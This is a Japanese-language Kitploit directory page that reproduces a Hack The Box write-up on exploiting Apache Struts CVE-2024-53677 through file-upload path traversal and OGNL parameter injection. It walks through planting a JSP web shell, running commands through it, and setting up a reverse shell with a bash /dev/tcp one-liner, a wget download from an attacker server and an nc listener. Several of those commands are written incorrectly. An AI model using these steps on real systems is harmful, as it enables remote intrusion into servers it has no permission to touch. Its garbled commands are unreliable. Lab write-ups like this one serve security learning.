Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-53677-Exploitation — Apache Struts CVE-2024-53677 エクスプロイト | Kitploit
ツール/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ペイロード開発ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Apache Struts CVE-2024-53677 エクスプロイト

リポジトリを見る
1年前未レビュー

CVE-2024-53677 エクスプロイト

ファイルアップロードを介した Apache Struts RCE

説明

CVE-2024-53677 は、Apache Struts 2.0.0 から 6.4.0 未満に影響する脆弱性です。⚠️ これは Hack The Box ラボで悪用されました。

Apache Struts のファイルアップロードロジックには欠陥があります。攻撃者はファイルアップロードパラメータを操作してパストラバーサルを可能にし、状況によっては、リモートコード実行(RCE)に使用できる悪意のあるファイルのアップロードにつながる可能性があります。 🔗 参照: NIST NVD エントリ

偵察

攻撃ベクトルの特定

image
  1. Webサイトには画像アップロード機能があります。
  2. アップロードされたファイルは ip/uploads/20250213_014317/starwars.png に保存されます。
  3. アップロードに成功すると、画像の共有リンクは ip/s/04ab2f40 という URL になります。
  4. Apache Struts のバージョンの特定
  • 公開された pom.xml により Apache Struts 6.3.0.1 が判明
  • CVE-2024-53677 に対して脆弱であることを確認

📸 pom.xml の露出: image

エクスプロイト

ファイルアップロードリクエストの改変

この脆弱性を悪用するために、送信前にパケットを改変する目的で BurpSuite とその Repeater 機能を使用します。以下が未編集のリクエストです。

image

問題は、サイトが [JPG, JPEG, PNG, GIF] 以外のファイルタイプをブロックすることと、/uploads ディレクトリ内のファイルが実行不可であることです。これらの問題を回避するために、まず別のパラメータを追加します。

test

追加されたパラメータは、Apache Struts が入力データの処理に使用する OGNL(Object-Graph Navigation Language)を悪用します。FileUploadInterceptor は実際の PNG 画像を処理する前にこのパラメータを処理するため、攻撃者はリクエストを操作して任意のコードを実行できる可能性があります。

エクスプロイトの仕上げ

改変したパラメータを追加すると、サーバーの応答によりファイルが正常にアップロードされたことが確認できます。ただし、ファイルパスが通常のアップロードディレクトリとは異なることに気づきます。

plshelp

ペイロードの添付

次に、画像データの直下かつ注入したパラメータの直前にペイロードを追加して埋め込みます。シェルのペイロードは 🔗 参照: shell.jsp から入手できます。 さらに、重要な詳細として、リクエストでは小文字の upload ではなく大文字の U で「Upload」と指定する必要があります。これは 🔗 参照: exploit.py で確認されたエクスプロイト構造に従ったものです。

これらの変更を加えた状態でリクエストを送信すると、サーバーは同様に応答し、アップロードの成功を確認して調整後のファイルパスを返します。

エクスプロイトへのアクセス

次に、以下の URL にアクセスすることで、アップロードしたシェルを操作できます。

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
final shell

この段階で、ローカルでホストした Web サーバーを使用してリバースシェルを確立できます。これを実現する簡単な方法は Python を使用することです: python3 http.server -m 3004

次に、基本的なシェルスクリプト(例:shell.sh)を作成します。 cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

wget を使用してダウンロードします。 wget http://ip_address/filename -O /tmp

ダウンロード後、実行権限を付与します。 chmod +777 /tmp/filename

次に、nc(netcat)を使用してリバースシェルを待ち受けます。 nc -lvnp $PORT

最後に実行します。 ./filename

ツールをダウンロード